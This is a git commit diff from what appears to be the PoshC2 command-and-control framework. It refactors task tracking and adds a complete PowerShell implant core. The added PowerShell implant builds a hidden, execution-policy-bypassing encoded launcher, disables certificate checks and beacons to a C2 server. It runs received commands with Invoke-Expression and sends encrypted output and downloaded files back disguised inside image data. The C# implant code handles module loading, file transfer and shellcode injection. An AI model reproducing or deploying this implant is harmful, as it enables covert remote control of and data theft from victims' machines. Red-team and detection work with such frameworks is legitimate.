* Refactor tasks to insert on run and update on complete

* Pull out py and ps cores into files
* Adjust command stored in DB to be user run command (tracking modules
loaded etc)
* Fixed downloading files so subsequent files with the same name will ba
name-1 name-2 etc
* Renamed Implant-Core.ps1 to Core.ps1 to match C#
chunking
m0rv4i 2019-02-06 16:11:18 +00:00
parent 290775ef62
commit 2fea962466
12 changed files with 678 additions and 607 deletions

View File

@ -226,7 +226,6 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
cookieVal = (s.cookieHeader).replace("SessionID=","")
post_data = s.rfile.read(content_length)
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(s.path), str(s.headers), post_data)
now = datetime.datetime.now()
result = get_implants_all()
for i in result:
@ -239,6 +238,18 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
if RandomURI in s.path and cookieVal:
update_implant_lastseen(now.strftime("%m/%d/%Y %H:%M:%S"),RandomURI)
decCookie = decrypt(encKey, cookieVal)
if decCookie.startswith("Error"):
print (Colours.RED)
print ("The multicmd errored: ")
print (decrypt_bytes_gzip(encKey, post_data[1500:]))
print (Colours.GREEN)
s.send_response(200)
s.send_header("Content-type", "text/html")
s.end_headers()
s.wfile.write(default_response())
return
taskId = str(int(decCookie.strip('\x00')))
executedCmd = get_cmd_from_task_id(taskId)
print (Colours.GREEN)
print ("Command returned against implant %s on host %s\\%s @ %s (%s)" % (implantID, Domain, User, Hostname,now.strftime("%m/%d/%Y %H:%M:%S")))
#print decCookie,Colours.END
@ -246,52 +257,91 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
outputParsed = re.sub(r'123456(.+?)654321', '', rawoutput)
outputParsed = outputParsed.rstrip()
if "ModuleLoaded" in decCookie:
if "loadmodule" in executedCmd:
print ("Module loaded sucessfully")
insert_completedtask(RandomURI, decCookie, "Module loaded sucessfully", "")
if "get-screenshot" in decCookie.lower() or "screencapture" in decCookie.lower():
update_task(taskId, "Module loaded sucessfully")
if "get-screenshot" in executedCmd.lower() or "screencapture" in executedCmd.lower():
try:
decoded = base64.b64decode(outputParsed)
filename = i[3] + "-" + now.strftime("%m%d%Y%H%M%S_"+randomuri())
output_file = open('%s%s.png' % (DownloadsDirectory,filename), 'wb')
print ("Screenshot captured: %s%s.png" % (DownloadsDirectory,filename))
insert_completedtask(RandomURI, decCookie, "Screenshot captured: %s%s.png" % (DownloadsDirectory,filename), "")
update_task(taskId, "Screenshot captured: %s%s.png" % (DownloadsDirectory,filename))
output_file.write(decoded)
output_file.close()
except Exception as e:
insert_completedtask(RandomURI, decCookie, "Screenshot not captured, the screen could be locked or this user does not have access to the screen!", "")
update_task(taskId, "Screenshot not captured, the screen could be locked or this user does not have access to the screen!")
print ("Screenshot not captured, the screen could be locked or this user does not have access to the screen!")
elif (decCookie.lower().startswith("$shellcode64")) or (decCookie.lower().startswith("$shellcode64")):
insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "")
# What should this be now?
elif (executedCmd.lower().startswith("$shellcode64")) or (executedCmd.lower().startswith("$shellcode64")):
update_task(taskId, "Upload shellcode complete")
print ("Upload shellcode complete")
elif (decCookie.lower().startswith("run-exe core.program core inject-shellcode")):
insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "")
elif (executedCmd.lower().startswith("run-exe core.program core inject-shellcode")):
update_task(taskId, "Upload shellcode complete")
print (outputParsed)
elif "download-file" in decCookie.lower():
elif "download-file" in executedCmd.lower():
try:
rawoutput = decrypt_bytes_gzip(encKey, (post_data[1500:]))
filename = decCookie.lower().replace("download-file ","")
filename = executedCmd.lower().replace("download-file ","")
filename = filename.replace("-source ","")
filename = filename.replace("..","")
filename = filename.replace("'","")
filename = filename.replace('"',"")
filename = filename.rsplit('/', 1)[-1]
filename = filename.rsplit('\\', 1)[-1]
filename = filename.rstrip('\x00')
chunkNumber = rawoutput[:5]
totalChunks = rawoutput[5:10]
print ("Download file part %s of %s : %s" % (chunkNumber,totalChunks,filename))
insert_completedtask(RandomURI, decCookie, "Download file part %s of %s : %s" % (chunkNumber,totalChunks,filename), "")
output_file = open('%s/downloads/%s' % (ROOTDIR,filename), 'a')
output_file.write(rawoutput[10:])
output_file.close()
original_filename = filename
if rawoutput.startswith("Error"):
print("Error downloading file: ")
print rawoutput
else:
chunkNumber = rawoutput[:5]
totalChunks = rawoutput[5:10]
if (chunkNumber == "00001") and os.path.isfile('%s/downloads/%s' % (ROOTDIR,filename)):
counter = 1
while(os.path.isfile('%s/downloads/%s' % (ROOTDIR,filename))):
if '.' in filename:
filename = original_filename[:original_filename.rfind('.')] + '-' + str(counter) + original_filename[original_filename.rfind('.'):]
else:
filename = original_filename + '-' + str(counter)
counter+=1
if (chunkNumber != "00001"):
counter = 1
if not os.path.isfile('%s/downloads/%s' % (ROOTDIR,filename)):
print("Error trying to download part of a file to a file that does not exist: %s" % filename)
while(os.path.isfile('%s/downloads/%s' % (ROOTDIR,filename))):
# First find the 'next' file would be downloaded to
if '.' in filename:
filename = original_filename[:original_filename.rfind('.')] + '-' + str(counter) + original_filename[original_filename.rfind('.'):]
else:
filename = original_filename + '-' + str(counter)
counter+=1
if counter != 2:
# Then actually set the filename to this file - 1 unless it's the first one and exists without a counter
if '.' in filename:
filename = original_filename[:original_filename.rfind('.')] + '-' + str(counter) + original_filename[original_filename.rfind('.'):]
else:
filename = original_filename + '-' + str(counter)
else:
filename = original_filename
print ("Download file part %s of %s to: %s" % (chunkNumber,totalChunks,filename))
update_task(taskId, "Download file part %s of %s to: %s" % (chunkNumber,totalChunks,filename))
output_file = open('%s/downloads/%s' % (ROOTDIR,filename), 'a')
output_file.write(rawoutput[10:])
output_file.close()
except Exception as e:
insert_completedtask(RandomURI, decCookie, "Error downloading file %s " % e, "")
update_task(taskId, "Error downloading file %s " % e)
print ("Error downloading file %s " % e)
else:
insert_completedtask(RandomURI, decCookie, outputParsed, "")
update_task(taskId, outputParsed)
print (Colours.GREEN)
print (outputParsed + Colours.END)
except Exception as e:
e = ""
# print e
# traceback.print_exc()
finally:
s.send_response(200)
s.send_header("Content-type", "text/html")

View File

@ -23,7 +23,7 @@ print (logopic)
print (Colours.END + "")
try:
taskid = get_seqcount("CompletedTasks") + 1
taskid = get_seqcount("Tasks") + 1
except Exception as e:
user = "None"
taskid = 1
@ -64,7 +64,7 @@ while(1):
user = "None"
try:
completedtask = get_completedtasksbyid(taskid)
completedtask = get_tasksbyid(taskid)
hostinfo = get_hostinfo(completedtask[2])
now = datetime.datetime.now()
if hostinfo:

52
DB.py
View File

@ -30,15 +30,16 @@ def initializedb():
TaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
Task TEXT);"""
create_completedtasks = """CREATE TABLE CompletedTasks (
CompletedTaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
TaskID TEXT,
create_tasks = """CREATE TABLE Tasks (
TaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
RandomURI TEXT,
Command TEXT,
Output TEXT,
Prompt TEXT);"""
User TEXT,
SentTime TEXT,
CompletedTime TEXT);"""
create_tasks = """CREATE TABLE NewTasks (
create_newtasks = """CREATE TABLE NewTasks (
TaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
RandomURI TEXT,
Command TEXT);"""
@ -97,8 +98,8 @@ def initializedb():
if conn is not None:
c.execute(create_implants)
c.execute(create_autoruns)
c.execute(create_completedtasks)
c.execute(create_tasks)
c.execute(create_newtasks)
c.execute(create_creds)
c.execute(create_urls)
c.execute(create_c2server)
@ -365,15 +366,29 @@ def new_implant(RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen,
c.execute("INSERT INTO Implants (RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot, Label) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", (RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot, Label))
conn.commit()
def insert_completedtask(randomuri, command, output, prompt):
def insert_task(randomuri, command, user):
now = datetime.datetime.now()
TaskID = now.strftime("%m/%d/%Y %H:%M:%S")
sent_time = now.strftime("%m/%d/%Y %H:%M:%S")
conn = sqlite3.connect(DB)
conn.text_factory = str
conn.row_factory = sqlite3.Row
c = conn.cursor()
c.execute("INSERT INTO CompletedTasks (TaskID, RandomURI, Command, Output, Prompt) VALUES (?, ?, ?, ?, ?)", (TaskID, randomuri, command, output, prompt))
if user is None:
user = ""
c.execute("INSERT INTO Tasks (RandomURI, Command, Output, User, SentTime, CompletedTime) VALUES (?, ?, ?, ?, ?, ?)", (randomuri, command, "", user, sent_time, ""))
conn.commit()
return c.lastrowid
def update_task(taskId, output):
now = datetime.datetime.now()
completedTime = now.strftime("%m/%d/%Y %H:%M:%S")
conn = sqlite3.connect(DB)
conn.text_factory = str
conn.row_factory = sqlite3.Row
c = conn.cursor()
c.execute("UPDATE Tasks SET Output=?, CompletedTime=? WHERE TaskID=%s" % taskId, (output, completedTime))
conn.commit()
return c.lastrowid
def update_item(column, table, value, wherecolumn=None, where=None):
conn = sqlite3.connect(DB)
@ -395,22 +410,22 @@ def get_implantbyid(id):
else:
return None
def get_completedtasks():
def get_tasks():
conn = sqlite3.connect(DB)
conn.row_factory = sqlite3.Row
c = conn.cursor()
c.execute("SELECT * FROM CompletedTasks")
c.execute("SELECT * FROM Tasks")
result = c.fetchall()
if result:
return result
else:
return None
def get_completedtasksbyid(id):
def get_tasksbyid(id):
conn = sqlite3.connect(DB)
conn.row_factory = sqlite3.Row
c = conn.cursor()
c.execute("SELECT * FROM CompletedTasks WHERE CompletedTaskID=%s" % id)
c.execute("SELECT * FROM Tasks WHERE CompletedTaskID=%s" % id)
result = c.fetchone()
if result:
return result
@ -461,6 +476,17 @@ def get_dfheader():
else:
return None
def get_cmd_from_task_id(taskId):
conn = sqlite3.connect(DB)
conn.row_factory = sqlite3.Row
c = conn.cursor()
c.execute("SELECT Command FROM Tasks WHERE TaskId=%s" % taskId)
result = str(c.fetchone()[0])
if result:
return result
else:
return None
def get_defaultuseragent():
conn = sqlite3.connect(DB)
conn.row_factory = sqlite3.Row

272
Files/PSImplant-Core.ps1 Normal file
View File

@ -0,0 +1,272 @@
$key="%s"
$global:sleeptime = '%s'
$payloadclear = @"
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true}
`$s="$s"
`$sc="$sc"
function DEC {${function:DEC}}
function ENC {${function:ENC}}
function CAM {${function:CAM}}
function Get-Webclient {${function:Get-Webclient}}
function Primer {${function:primer}}
`$primer = primer
if (`$primer) {`$primer| iex} else {
start-sleep 1800
primer | iex }
"@
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($payloadclear)
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
$DeflateStream.Dispose()
$CompressedScriptBytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()
$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
$NewScript = "sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(`"$EncodedCompressedScript`"),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"
$UnicodeEncoder = New-Object System.Text.UnicodeEncoding
$EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript))
$payloadraw = "powershell -exec bypass -Noninteractive -windowstyle hidden -e $($EncodedPayloadScript)"
$payload = $payloadraw -replace "`n", ""
function GetImgData($cmdoutput) {
$icoimage = @(%s)
try {$image = $icoimage|get-random}catch{}
function randomgen
{
param (
[int]$Length
)
$set = "...................@..........................Tyscf".ToCharArray()
$result = ""
for ($x = 0; $x -lt $Length; $x++)
{$result += $set | Get-Random}
return $result
}
$imageBytes = [Convert]::FromBase64String($image)
$maxbyteslen = 1500
$maxdatalen = 1500 + ($cmdoutput.Length)
$imagebyteslen = $imageBytes.Length
$paddingbyteslen = $maxbyteslen - $imagebyteslen
$BytePadding = [System.Text.Encoding]::UTF8.GetBytes((randomgen $paddingbyteslen))
$ImageBytesFull = New-Object byte[] $maxdatalen
[System.Array]::Copy($imageBytes, 0, $ImageBytesFull, 0, $imageBytes.Length)
[System.Array]::Copy($BytePadding, 0, $ImageBytesFull,$imageBytes.Length, $BytePadding.Length)
[System.Array]::Copy($cmdoutput, 0, $ImageBytesFull,$imageBytes.Length+$BytePadding.Length, $cmdoutput.Length )
$ImageBytesFull
}
function Create-AesManagedObject($key, $IV) {
try {
$aesManaged = New-Object "System.Security.Cryptography.RijndaelManaged"
} catch {
$aesManaged = New-Object "System.Security.Cryptography.AesCryptoServiceProvider"
}
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
else {
$aesManaged.IV = $IV
}
}
if ($key) {
if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Encrypt-String($key, $unencryptedString) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
#$aesManaged.Dispose()
[System.Convert]::ToBase64String($fullData)
}
function Encrypt-Bytes($key, $bytes) {
[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress)
$gzipStream.Write( $bytes, 0, $bytes.Length )
$gzipStream.Close()
$bytes = $output.ToArray()
$output.Close()
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$fullData
}
function Decrypt-String($key, $encryptedStringWithIV) {
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
#$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}
function Encrypt-String2($key, $unencryptedString) {
$unencryptedBytes = [system.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object System.IO.Compression.GzipStream $CompressedStream, ([IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($unencryptedBytes, 0, $unencryptedBytes.Length)
$DeflateStream.Dispose()
$bytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$fullData
}
function Decrypt-String2($key, $encryptedStringWithIV) {
$bytes = $encryptedStringWithIV
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor()
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16)
$output = (New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$unencryptedData)), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd()
$output
#[System.Text.Encoding]::UTF8.GetString($output).Trim([char]0)
}
function Send-Response($Server, $Key, $TaskId, $Data) {
try{
$eid = Encrypt-String $Key $TaskId
$Output = Encrypt-String2 $Key $Data
$UploadBytes = getimgdata $Output
(Get-Webclient -Cookie $eid).UploadData("$Server", $UploadBytes)|out-null
} catch {
Write-Host "ErrorResponse: " + $error[0]
}
}
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$URI= "%s"
$Server = "$s/%s"
$ServerClean = "$sc"
while($true)
{
$ServerURLS = "$($ServerClean)","$($ServerClean)"
$date = (Get-Date -Format "dd/MM/yyyy")
$date = [datetime]::ParseExact($date,"dd/MM/yyyy",$null)
$killdate = [datetime]::ParseExact("%s","dd/MM/yyyy",$null)
if ($killdate -lt $date) {exit}
$sleeptimeran = $sleeptime, ($sleeptime * 1.1), ($sleeptime * 0.9)
$newsleep = $sleeptimeran|get-random
if ($newsleep -lt 1) {$newsleep = 5}
start-sleep $newsleep
$URLS = %s
$RandomURI = Get-Random $URLS
$ServerClean = Get-Random $ServerURLS
$G=[guid]::NewGuid()
$Server = "$ServerClean/$RandomURI$G/?$URI"
try { $ReadCommand = (Get-Webclient).DownloadString("$Server") } catch {}
while($ReadCommand) {
$RandomURI = Get-Random $URLS
$ServerClean = Get-Random $ServerURLS
$G=[guid]::NewGuid()
$Server = "$ServerClean/$RandomURI$G/?$URI"
try { $ReadCommandClear = Decrypt-String $key $ReadCommand } catch {}
$error.clear()
try {
if (($ReadCommandClear) -and ($ReadCommandClear -ne "fvdsghfdsyyh")) {
if ($ReadCommandClear.ToLower().StartsWith("multicmd")) {
$splitcmd = $ReadCommandClear -replace "multicmd",""
$split = $splitcmd -split "!d-3dion@LD!-d"
foreach ($i in $split){
$id = New-Object System.String($i, 0, 5)
$c = New-Object System.String($i, 5, ($i.Length - 5))
$i = $c
$RandomURI = Get-Random $URLS
$ServerClean = Get-Random $ServerURLS
$G=[guid]::NewGuid()
$Server = "$ServerClean/$RandomURI$G/?$URI"
$error.clear()
if ($i.ToLower().StartsWith("upload-file")) {
try {
$Output = Invoke-Expression $i | out-string
$Output = $Output + "123456PS " + (Get-Location).Path + ">654321"
if ($ReadCommandClear -match ("(.+)Base64")) { $result = $Matches[0] } # $result doesn't appear to be used anywhere?
} catch {
$Output = "ErrorUpload: " + $error[0]
}
Send-Response $Server $key $id $Output
} elseif ($i.ToLower().StartsWith("download-file")) {
try {
$i = $i + " -taskid " + $id
Invoke-Expression $i | Out-Null
}
catch {
$Output = "ErrorDownload: " + $error[0]
Send-Response $Server $key $id $Output
}
} elseif ($i.ToLower().StartsWith("loadmodule")) {
try {
$modulename = $i -replace "LoadModule",""
$Output = Invoke-Expression $modulename | out-string
$Output = $Output + "123456PS " + (Get-Location).Path + ">654321"
} catch {
$Output = "ErrorLoadMod: " + $error[0]
}
Send-Response $Server $key $id $Output
} elseif ($i.ToLower().StartsWith("get-screenshotallwindows")) {
try {
$i = $i + " -taskid " + $id
Invoke-Expression $i | Out-Null
}
catch {
$Output = "ErrorScreenshotAllWindows: " + $error[0]
Send-Response $Server $key $id $Output
}
} elseif ($i.ToLower().StartsWith("get-webpage")) {
try {
$i = $i + " -taskid " + $id
Invoke-Expression $i | Out-Null
}
catch {
$Output = "ErrorGetWebpage: " + $error[0]
Send-Response $Server $key $id $Output
}
}else {
try {
$Output = Invoke-Expression $i | out-string
$Output = $Output + "123456PS " + (Get-Location).Path + ">654321"
$StdError = ($error[0] | Out-String)
if ($StdError){
$Output = $Output + $StdError
$error.clear()
}
} catch {
$Output = "ErrorCmd: " + $error[0]
}
Send-Response $Server $key $id $Output
}
}
}
$ReadCommandClear = $null
$ReadCommand = $null
}
} catch {
$message = $_.Exception.Message
Send-Response $Server $key "Error" $message
}
break
}
}

215
Files/PyImplant-Core.py Normal file

File diff suppressed because one or more lines are too long

View File

@ -376,51 +376,53 @@ public class Program
var split = splitcmd.Split(new string[] { "!d-3dion@LD!-d" }, StringSplitOptions.RemoveEmptyEntries);
foreach (string c in split)
{
tasksrc = c;
if (c.ToLower().StartsWith("exit"))
var taskId = c.Substring(0, 5);
cmd = c.Substring(5, c.Length - 5);
tasksrc = cmd;
if (cmd.ToLower().StartsWith("exit"))
{
exitvt.Set();
break;
}
else if (c.ToLower().StartsWith("loadmodule"))
else if (cmd.ToLower().StartsWith("loadmodule"))
{
var module = Regex.Replace(c, "loadmodule", "", RegexOptions.IgnoreCase);
var module = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase);
var assembly = System.Reflection.Assembly.Load(System.Convert.FromBase64String(module));
output.AppendLine("Module loaded sucessfully");
tasksrc = "Module loaded sucessfully";
}
else if (c.ToLower().StartsWith("upload-file"))
else if (cmd.ToLower().StartsWith("upload-file"))
{
var path = Regex.Replace(c, "upload-file", "", RegexOptions.IgnoreCase);
var path = Regex.Replace(cmd, "upload-file", "", RegexOptions.IgnoreCase);
var splitargs = path.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries);
Console.WriteLine("Uploaded file to: " + splitargs[1]);
var fileBytes = Convert.FromBase64String(splitargs[0]);
System.IO.File.WriteAllBytes(splitargs[1].Replace("\"", ""), fileBytes);
tasksrc = "Uploaded file sucessfully";
}
else if (c.ToLower().StartsWith("download-file"))
else if (cmd.ToLower().StartsWith("download-file"))
{
var path = Regex.Replace(c, "download-file ", "", RegexOptions.IgnoreCase);
var path = Regex.Replace(cmd, "download-file ", "", RegexOptions.IgnoreCase);
var file = File.ReadAllBytes(path.Replace("\"", ""));
var fileChuck = Combine(Encoding.ASCII.GetBytes("0000100001"), file);
var dtask = Encryption(Key, c);
var eTaskId = Encryption(Key, taskId);
var dcoutput = Encryption(Key, "", true, fileChuck);
var doutputBytes = System.Convert.FromBase64String(dcoutput);
var dsendBytes = ImgGen.GetImgData(doutputBytes);
GetWebRequest(dtask).UploadData(UrlGen.GenerateUrl(), dsendBytes);
GetWebRequest(eTaskId).UploadData(UrlGen.GenerateUrl(), dsendBytes);
continue;
}
else if (c.ToLower().StartsWith("get-screenshotmulti"))
else if (cmd.ToLower().StartsWith("get-screenshotmulti"))
{
bool sShot = true;
int sShotCount = 1;
while(sShot) {
var sHot = RunAssembly("run-exe Core.Program Core get-screenshot");
var dtask = Encryption(Key, c);
var eTaskId = Encryption(Key, taskId);
var dcoutput = Encryption(Key, strOutput.ToString(), true);
var doutputBytes = System.Convert.FromBase64String(dcoutput);
var dsendBytes = ImgGen.GetImgData(doutputBytes);
GetWebRequest(dtask).UploadData(UrlGen.GenerateUrl(), dsendBytes);
GetWebRequest(eTaskId).UploadData(UrlGen.GenerateUrl(), dsendBytes);
Thread.Sleep(240000);
sShotCount++;
if (sShotCount > 100) {
@ -431,21 +433,22 @@ public class Program
output.Append("[+] Multi Screenshot Ran Sucessfully");
}
}
continue;
}
else if (c.ToLower().StartsWith("listmodules"))
else if (cmd.ToLower().StartsWith("listmodules"))
{
var appd = AppDomain.CurrentDomain.GetAssemblies();
output.AppendLine("[+] Modules loaded:").AppendLine("");
foreach (var ass in appd)
output.AppendLine(ass.FullName.ToString());
}
else if (c.ToLower().StartsWith("run-dll") || c.ToLower().StartsWith("run-exe"))
else if (cmd.ToLower().StartsWith("run-dll") || cmd.ToLower().StartsWith("run-exe"))
{
output.AppendLine(RunAssembly(c));
output.AppendLine(RunAssembly(cmd));
}
else if (c.ToLower().StartsWith("start-process"))
else if (cmd.ToLower().StartsWith("start-process"))
{
var proc = c.Replace("'", "").Replace("\"", "");
var proc = cmd.Replace("'", "").Replace("\"", "");
var pstart = Regex.Replace(proc, "start-process ", "", RegexOptions.IgnoreCase);
pstart = Regex.Replace(pstart, "-argumentlist(.*)", "", RegexOptions.IgnoreCase);
var args = Regex.Replace(proc, "(.*)argumentlist ", "", RegexOptions.IgnoreCase);
@ -458,7 +461,7 @@ public class Program
output.AppendLine(p.StandardOutput.ReadToEnd()).AppendLine(p.StandardError.ReadToEnd());
p.WaitForExit();
}
else if (c.ToLower().StartsWith("setbeacon") || c.ToLower().StartsWith("beacon"))
else if (cmd.ToLower().StartsWith("setbeacon") || cmd.ToLower().StartsWith("beacon"))
{
var bcnRgx = new Regex(@"(?<=(setbeacon|beacon)\s{1,})(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.Compiled | RegexOptions.IgnoreCase);
var mch = bcnRgx.Match(c);
@ -482,19 +485,19 @@ public class Program
output.AppendLine(strOutput.ToString());
var sb = strOutput.GetStringBuilder();
sb.Remove(0, sb.Length);
if (tasksrc.Length > 200)
if (tasksrc.Length > 200) // This is not used?
tasksrc = tasksrc.Substring(0, 199);
var task = Encryption(Key, tasksrc);
var enTaskId = Encryption(Key, taskId);
var coutput = Encryption(Key, output.ToString(), true);
var outputBytes = System.Convert.FromBase64String(coutput);
var sendBytes = ImgGen.GetImgData(outputBytes);
GetWebRequest(task).UploadData(UrlGen.GenerateUrl(), sendBytes);
GetWebRequest(enTaskId).UploadData(UrlGen.GenerateUrl(), sendBytes);
}
}
}
catch (Exception e)
{
var task = Encryption(Key, "Error");
var task = Encryption(Key, "Error");
var eroutput = Encryption(Key, $"Error: {output.ToString()} {e}", true);
var outputBytes = System.Convert.FromBase64String(eroutput);
var sendBytes = ImgGen.GetImgData(outputBytes);

16
HTML.py
View File

@ -209,8 +209,8 @@ function SearchTask() {
function tweakMarkup(){
// Add classes to columns
var classes = ['id', 'taskid', 'randomuri', 'command', 'output', 'prompt','ImplantID','RandomURI','User','Hostname','IpAddress','Key','FirstSeen','LastSeen','PID','Proxy','Arch','Domain','Alive','Sleep','ModsLoaded','Pivot']
//var classes = ['id', 'Label', taskid', 'randomuri', 'command', 'output', 'prompt','ImplantID','RandomURI','User','Hostname','IpAddress','Key','FirstSeen','LastSeen','PID','Proxy','Arch','Domain','Alive','Sleep','ModsLoaded','Pivot']
var classes = ['id', 'taskid', 'randomuri', 'command', 'output', 'user','ImplantID','RandomURI','User','Hostname','IpAddress','Key','FirstSeen','LastSeen','PID','Proxy','Arch','Domain','Alive','Sleep','ModsLoaded','Pivot']
//var classes = ['id', 'Label', taskid', 'randomuri', 'command', 'output', 'user','ImplantID','RandomURI','User','Hostname','IpAddress','Key','FirstSeen','LastSeen','PID','Proxy','Arch','Domain','Alive','Sleep','ModsLoaded','Pivot']
tbl = document.getElementById("PoshTable");
ths = tbl.getElementsByTagName("th");
for( i=0; i<ths.length; i++ ){
@ -229,7 +229,7 @@ function tweakMarkup(){
for( j=0; j<tds.length; j++ ){
td = tds[j];
td.className = classes[j]
if( td.className.match(/output|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot|id|Label|taskid|randomuri|command|output|prompt|ImplantID|RandomURI|User|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot/) ){
if( td.className.match(/output|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot|id|Label|taskid|randomuri|command|output|User|ImplantID|RandomURI|User|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot/) ){
td.className += ' hidden';
td.innerHTML = '<div>' + td.innerHTML + '</div>';
td.onclick = toggleHide
@ -333,7 +333,7 @@ table {
table tr th.randomuri {
width: 15%;
}
table tr th.prompt {
table tr th.user {
width: 10%;
}
@ -355,7 +355,7 @@ __________ .__. _________ ________
</pre>
"""
if table == "CompletedTasks":
if table == "Tasks":
HTMLPre += """<input type="text" id="SearchTask" onkeyup="SearchTask()" placeholder="Search for task..">
<input type="text" id="CommandInput" onkeyup="SearchCommand()" placeholder="Search for command..">
<input type="text" id="OutputInput" onkeyup="SearchOutput()" placeholder="Search for output..">
@ -372,13 +372,13 @@ __________ .__. _________ ________
frame = pd.read_sql_query("SELECT * FROM %s" % table, conn)
# encode the Output column
if table == "CompletedTasks":
if table == "Tasks":
for index, row in frame.iterrows():
frame.loc[index, "Command"] = replace_tabs(cgi.escape(row["Command"]))
frame.loc[index, "Output"] = replace_tabs(cgi.escape(row["Output"]))
# convert the random uri to original hostname
if table == "CompletedTasks":
if table == "Tasks":
framelen = frame['RandomURI'].count()
for x in range(0, framelen):
try:
@ -404,7 +404,7 @@ __________ .__. _________ ________
HTMLPost = HTMLPost.replace("<th>RandomURI</th>","<th class=\"RandomURI\">RandomURI</th>")
HTMLPost = HTMLPost.replace("<th>Command</th>","<th class=\"Command\">Command</th>")
HTMLPost = HTMLPost.replace("<th>Output</th>","<th class=\"Output\">Output</th>")
HTMLPost = HTMLPost.replace("<th>Prompt</th>","<th class=\"Prompt\">Prompt</th>")
HTMLPost = HTMLPost.replace("<th>User</th>","<th class=\"User\">User</th>")
HTMLPost = HTMLPost.replace("<th>ImplantID</th>","<th class=\"ImplantID\">ImplantID</th>")
HTMLPost = HTMLPost.replace("<th>User</th>","<th class=\"User\">User</th>")
HTMLPost = HTMLPost.replace("<th>Hostname</th>","<th class=\"Hostname\">Hostname</th>")

File diff suppressed because one or more lines are too long

View File

@ -250,7 +250,7 @@ def startup(printhelp = ""):
startup()
if "output-to-html" in implant_id.lower():
generate_table("CompletedTasks")
generate_table("Tasks")
generate_table("C2Server")
generate_table("Creds")
generate_table("Implants")
@ -307,7 +307,7 @@ def startup(printhelp = ""):
startup("Updated set-defaultbeacon (Restart C2 Server): %s\r\n" % cmd)
if "opsec" in implant_id.lower():
implants = get_implants_all()
